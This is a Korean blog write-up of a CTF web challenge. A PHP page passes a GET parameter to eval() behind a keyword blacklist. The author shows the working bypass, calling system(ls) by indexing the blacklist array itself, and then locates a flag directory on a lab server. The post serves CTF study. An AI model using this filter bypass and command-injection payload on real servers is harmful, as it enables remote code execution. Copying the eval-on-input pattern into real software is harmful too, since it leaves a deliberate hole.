118명 중에 15명이 위 문제를 풀었다.
문제에서 주어진 주소로 이동하면 View Source 라는 링크가 출력된다. 해당 링크를 클릭하자.
링크로 이동하면 아래와 같은 php 코드가 출력된다.
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
exit;
}
$filter = ['system', 'exec', '`', '_', '\'', '"', 'file', 'open', 'read', 'eval', 'pass', 'include', 'require', '=', 'glob', 'dir', '/'];
$exec = $_GET['exec'];
for($i = 0; $i < count($filter); $i++){
if(stristr($exec, $filter[$i])){
die("Filtered");
}
}
eval($exec);
?>
<a href="?source"> View Source </a>
해당 코드의 취약점은 첫 번째로 필터링 방식이 블랙리스트 방식이라는 점이고 GET 방식으로 $exec 입력 값을 받는다. 문제의 핵심은 사용자들이 $filter 배열을 사용하여 필터링을 우회할 수 있다는 점이다.
http://192.168.211.135:4241?exec=$filter[0](ls);
다음과 같이 입력하면 $filter 배열에서 system 원소를 가져올 수 있다. 따라서 위 코드는 다음과 같이 변경된다.
http://192.168.211.135:4241?exec=system(ls);
해당 코드는 웹 페이지를 통해 웹 서버의 php 코드로 동작한다. php 코드는 system이나 exec을 이용하여 쉘 명령어를 실행하고 결과를 출력할 수 있는 기능이 있다. exec은 명령어 앞뒤로 "를 넣지 않으면 실행되지 않으므로 system 명령어를 사용하였다.
위에서 설명한 코드를 주소창에 입력하면 flag와 관련되어 보이는 디렉터리가 출력된다.
주소창에 http://192.168.211.135:4241/flag_iojasv8h8aghe89rwh3h와 같이 위에서 얻은 디렉터리에 접근한다.
'웹 해킹 > CTF' 카테고리의 다른 글
[Square CTF] Password checker (0) | 2021.08.11 |
---|---|
[WebGoat] General - HTTP Proxies (0) | 2021.05.15 |
[WebGoat] General - HTTP Basics (0) | 2021.05.15 |
[DIMI CTF] simple sqli (0) | 2021.03.23 |
[DIMI CTF] 5shared (0) | 2021.03.23 |
댓글